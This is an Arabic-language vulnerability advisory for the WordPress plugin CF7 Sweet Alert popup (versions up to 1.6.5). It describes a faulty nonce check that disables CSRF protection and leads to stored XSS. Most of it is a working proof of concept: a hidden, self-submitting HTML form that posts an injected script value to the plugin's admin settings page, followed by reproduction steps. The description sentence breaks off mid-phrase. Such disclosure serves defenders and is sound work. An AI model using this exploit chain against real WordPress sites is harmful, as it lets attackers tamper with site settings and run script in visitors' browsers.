CVE-2026-65540

نافذة منبثقة لـ CF7 مع Sweet Alert <= 1.6.5 - تزوير الطلبات عبر المواقع

رابط الإضافة

https://wordpress.org/plugins/cf7-sweet-alert-popup/

الوصف

يحتوي معالج إعدادات الإضافة على خطأ منطقي في التحقق من nonce يؤدي إلى تعطيل جميع حمايات CSRF. يمكن لمهاجم غير مصادق عليه استغلال ذلك عبر خداع مسؤول مصادق عليه لزيارة صفحة خبيثة تحتوي على نموذج مخفي يُرسل نفسه تلقائيًا، مما يتيح تعديل إعدادات الإضافة بشكل تعسفي. تُخزَّن القيم المُرسلة دون تنقية وتُحقن حرفيًا داخل كتلة

POC

1. استضف صفحة HTML التالية على خادم منفصل:

<!DOCTYPE html>
<html>
<body>
<h1>Hello</h1>

<form style="visibility:hidden" action="http://TARGET/wp-admin/admin.php?page=cf7-simplepopup"
      method="POST" id="csrf" target="hiddenframe">
  <input name="cf7simplePopupWidth" value="500;alert(document.domain)">
  <input name="cf7simplePopupNonce" value="invalid_nonce">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

2. سجّل الدخول إلى WordPress بصفة مسؤول
3. زُر الصفحة الخبيثة
4. (اختياري) انتقل إلى http://TARGET/wp-admin/admin.php?page=cf7-simplepopup — وتأكد من أن حقل Width يحتوي الآن على 500;alert(document.domain)
5. زُر أي صفحة من صفحات الواجهة الأمامية، وسيُنفَّذ alert(document.domain) في المتصفح مؤكدًا وجود XSS مخزّن